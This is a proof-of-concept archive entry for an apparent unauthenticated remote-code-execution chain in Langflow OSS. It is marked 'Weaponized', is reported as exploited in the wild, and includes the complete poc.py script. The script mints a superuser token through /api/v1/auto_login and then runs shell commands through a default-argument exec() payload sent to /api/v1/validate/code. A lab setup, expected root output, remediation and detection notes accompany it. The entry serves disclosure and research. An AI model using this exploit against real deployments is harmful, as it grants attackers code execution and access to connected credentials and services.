PoC Archive PoC Archive
CVE-2026-9198 category: web CVSS 9.8 (CRITICAL) KEV EPSS 17%
Patched

IBM Langflow OSS Unauthenticated RCE via Auto-Login + validate/code Chain (CVE-2026-9198)

Published: 2026-07-31 • Researcher: ywh-jfellus (corroborated by 0xdak and 0xgh057r3c0n)

Target software IBM Langflow OSS (visual AI/agent-flow builder)
Affected versions 1.0.0 through 1.10.0
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 17%

Confirmed exploited in the wild. Added to CISA KEV 2026-08-04. Federal remediation deadline 2026-08-07.

EPSS 17.1% · 97th percentile

Severity
Critical
CVE
CVE-2026-9198
Category
web
Affected product
IBM Langflow OSS (visual AI/agent-flow builder)
Affected versions
1.0.0 through 1.10.0
Disclosed
2026-07-31
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-31
Last Updated2026-07-31
Author / Researcherywh-jfellus (corroborated by 0xdak and 0xgh057r3c0n)
CVE / AdvisoryCVE-2026-9198
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagslangflow, ibm, auto-login, code-injection, cwe-94, unauthenticated, rce, python-exec, ai-agent-framework
RelatedN/A — distinct from the unrelated CVE-2026-33017 (a different Langflow RCE via the flow-build endpoint); see Notes

Affected Target

FieldValue
Software / SystemIBM Langflow OSS (visual AI/agent-flow builder)
Versions Affected1.0.0 through 1.10.0
Language / PlatformPython (FastAPI backend)
Authentication RequiredNo
Network Access RequiredYes — direct reachability to the Langflow HTTP API (default port 7860)

Summary

IBM Langflow OSS ships an /api/v1/auto_login endpoint that, when the deployment has LANGFLOW_AUTO_LOGIN enabled (a common/default posture), will mint and hand back a fully-privileged SUPERUSER JWT access token to any caller — no credentials, no session, nothing. That token can then be used against /api/v1/validate/code, an endpoint intended to lint/validate user-submitted Python component code, but which actually evaluates the submitted source. By abusing Python’s semantics that default-argument expressions are evaluated at function-definition time (not call time), an attacker can smuggle an exec() call into a function signature’s default value and have arbitrary code run on the server the instant the code is “validated” — before the function is ever invoked. The command output is exfiltrated by deliberately raising an exception whose message is reflected back in the response’s function.errors[] field. The end result is full unauthenticated, pre-auth remote code execution with no user interaction required.

Vulnerability Details

Root Cause

Tracked as CWE-94 (Code Injection). Two distinct flaws chain together:

  1. Auto-login token minting (/api/v1/auto_login) — when auto-login is enabled, this endpoint issues a valid SUPERUSER JWT to an unauthenticated caller with a simple GET or POST, with no verification of who is asking.
  2. Unsafe code validation (/api/v1/validate/code) — this endpoint accepts a Python code string and compiles/executes it in order to “validate” it. Because Python evaluates default-argument expressions immediately when the enclosing def statement is executed (i.e. at definition time, well before the function is ever called), a payload such as:
    Python
    1
    2
    
    def poc(_=exec('raise Exception(__import__("subprocess").check_output("id", shell=True).decode())')):
        pass
    runs the exec() payload the moment the validator parses/defines the function — no explicit call of poc() is needed. Wrapping the command execution in a raised Exception causes the command output to be captured by the endpoint’s own error handling and reflected straight back in the JSON response body (function.errors[]), giving the attacker both code execution and full output retrieval in a single request-response cycle.

Attack Vector

  1. Unauthenticated GET or POST to /api/v1/auto_login on the target Langflow instance; parse access_token out of the JSON response.
  2. Using that bearer token, POST a crafted Python payload (in the form above) as the code field to /api/v1/validate/code.
  3. Read the command output back out of function.errors[0] in the response body.

No authentication, no CSRF token, no user interaction — a single unauthenticated HTTP client can complete the whole chain in two requests.

Impact

Full unauthenticated remote code execution on the host running Langflow, as the process user running the Langflow backend. Given Langflow is commonly deployed to orchestrate AI/agent pipelines with credentials to LLM providers, vector databases, internal APIs, and other backend services, compromise here typically yields a foothold with broad downstream access to whatever secrets and services the Langflow instance was configured to reach.

Environment / Lab Setup

Output
OS:          Any Docker host (lab verified on Linux)
Target:      langflowai/langflow:1.10.0 (vulnerable) or :1.10.1 (patched), + postgres:16
Attacker:    Python 3.8+ with the `requests` library
Tools:       poc.py (this folder), Docker + Docker Compose

Setup Steps

Shell script
1
2
3
4
5
pip install requests

docker compose -f vulnerable/docker-compose.yaml up -d
docker compose -f vulnerable/docker-compose.yaml down -v
docker compose -f patched/docker-compose.yaml up -d   # Langflow 1.10.1

Proof of Concept

See poc.py, vulnerable/docker-compose.yaml, patched/docker-compose.yaml, and upstream-README.md in this folder — mirrored unmodified from ywh-jfellus/CVE-2026-9198. Verified before ingestion: read the full 51-line poc.py end-to-end — it genuinely implements the two-step chain (auto_login token mint, then the default-argument exec() payload against validate/code), targets a self-contained local Docker lab (postgres:16 + langflowai/langflow:1.10.0 vulnerable / 1.10.1 patched), and prints a red [!] line with the live id output on success or a green [-] line on a patched target. No obfuscation, no unrelated network calls, no destructive behavior.

Step-by-Step Reproduction

  1. Bring up the vulnerable lab — Docker Compose stack with Langflow 1.10.0 and LANGFLOW_AUTO_LOGIN=true

    Shell script
    1
    
    docker compose -f vulnerable/docker-compose.yaml up -d
  2. Run the PoC against it — mints an unauthenticated SUPERUSER token, then triggers exec() via validate/code

    Shell script
    1
    
    python3 poc.py
  3. Confirm the fix on the patched stack — same PoC against Langflow 1.10.1 should no longer succeed

    Shell script
    1
    2
    3
    
    docker compose -f vulnerable/docker-compose.yaml down -v
    docker compose -f patched/docker-compose.yaml up -d
    python3 poc.py

Exploit Code

See poc.py in this folder (full, unmodified upstream source).

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
CMD = "id"
URL = "http://127.0.0.1:9999"

for method in ("GET", "POST"):
    r = requests.request(method, f"{URL}/api/v1/auto_login")
    if r.status_code == 200:
        token = r.json().get("access_token")
        break

payload = f"""
def poc(_=exec('raise Exception(__import__("subprocess").check_output("{CMD}", shell=True, stderr=__import__("subprocess").STDOUT).decode())')):
    pass
""".strip()

r = requests.post(
    f"{URL}/api/v1/validate/code",
    json={"code": payload},
    headers={"Authorization": f"Bearer {token}"},
)
out = (r.json().get("function", {}).get("errors") or [""])[0].rstrip("\n")

Expected Output

Output
[!] http://127.0.0.1:9999 is vulnerable to CVE-2026-9198: uid=0(root) gid=0(root) groups=0(root)

Detection & Indicators of Compromise

Output

Detection tooling: the official nuclei-templates repository ships http/cves/2026/CVE-2026-9198.yaml (author YesWeHack, verified: true), which implements the same two-step auto_login-then-validate/code chain for detection purposes and matches on a uid=...gid=... regex after running id — an independent cross-reference confirming the exec()-via-default-argument technique described above. That template itself cites the ywh-jfellus and 0xdak repos as its PoC references.

Remediation

ActionDetail
PatchUpgrade to Langflow OSS 1.10.1 or later.
WorkaroundDo not enable LANGFLOW_AUTO_LOGIN on any deployment reachable from an untrusted network; if auto-login must remain enabled for local development, restrict network exposure of the Langflow API entirely (loopback-only / firewalled).
Config HardeningDisable or tightly scope /api/v1/validate/code at a reverse proxy / WAF layer for any instance where code validation is not an intentionally exposed feature; enforce authentication in front of the entire Langflow API regardless of auto-login state.

References

Notes

Verified before ingestion per this archive’s verify-before-ingest standard: the real file contents were read directly (not just repo metadata or README claims) for all three candidate PoC repos before selecting one to ingest.

  • ywh-jfellus/CVE-2026-9198 was chosen as the canonical/primary source ingested here because it includes a genuinely self-contained, reproducible Docker lab — vulnerable/docker-compose.yaml (postgres:16 + langflowai/langflow:1.10.0, LANGFLOW_AUTO_LOGIN=true) and patched/docker-compose.yaml (same stack on langflow:1.10.1) — letting the exploit be demonstrated both failing-vulnerable and failing-patched with no external target dependency. The author account is thin (created 2026-03-24, 5 repos, 3 followers) but the repo content itself is legitimate and functional; other repos on the account contain real CVE PoCs.
  • 0xdak/CVE-2026-9198_exploit (181 lines, CLI with -t/-c/--shell/--lhost/--lport flags; account active since 2019, 24 repos) and 0xgh057r3c0n/CVE-2026-9198 (243 lines, more polished CLI with a pseudo-shell; account active since 2023, 63 repos, 67 followers) were independently read in full and confirmed to implement the same two-step auto_login → validate/code chain — not stubs, not phantom claims. Their optional reverse-shell modes only connect to an operator-specified host/port (no hardcoded C2). Both are cited above as corroborating alternate implementations, not duplicated as separate archive entries.
  • No scam/malware signals were found in any of the three repos: no payment/Telegram gating, no obfuscation, no hidden droppers or phone-home behavior, and no curl-pipe-to-shell install instructions (plain git clone + pip install).
  • Distinct from CVE-2026-33017 — an unrelated Langflow RCE via the “flow build” endpoint, a different vulnerable code path entirely. General web search results on Langflow RCEs are noisy and tend to mix these two CVEs together; this entry covers only the auto_login/validate-code chain (CVE-2026-9198).
  • The official nuclei-templates detection template (http/cves/2026/CVE-2026-9198.yaml, author YesWeHack, verified: true) independently corroborates the exploitation mechanism: its detection payload matches the same exec()-via-default-argument technique used in the PoC scripts above, and it cross-references both the ywh-jfellus and 0xdak repos as its own PoC references.
poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests


###
# Proof of Concept for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass
#
# IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to
# chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller)
# with /api/v1/validate/code (executes user code via exec())
# to achieve full RCE on default Langflow deployments
###

CMD = "id"
URL = "http://127.0.0.1:9999"


def main():
    path = "/api/v1/auto_login"
    for method in ("GET", "POST"):
        r = requests.request(method, f"{URL}{path}")
        if r.status_code == 200:
            token = r.json().get("access_token")
            break
    else:
        print(f"[-] {path} failed: {r.status_code}\n")
        return

    payload = f"""
    
    
def poc(_=exec('raise Exception(__import__("subprocess").check_output("{CMD}", shell=True, stderr=__import__("subprocess").STDOUT).decode())')):
    pass
    
    
""".strip()

    r = requests.post(
        f"{URL}/api/v1/validate/code",
        json={"code": payload},
        headers={"Authorization": f"Bearer {token}"},
    )
    out = (r.json().get("function", {}).get("errors") or [""])[0].rstrip("\n")

    if "uid=" in out and "gid=" in out:
        print(f"\033[91m[!] {URL} is vulnerable to CVE-2026-9198: {out}\n\033[0m")
    else:
        print(f"\033[92m[-] {URL} is not vulnerable to CVE-2026-9198\n\033[0m")


if __name__ == "__main__":
    main()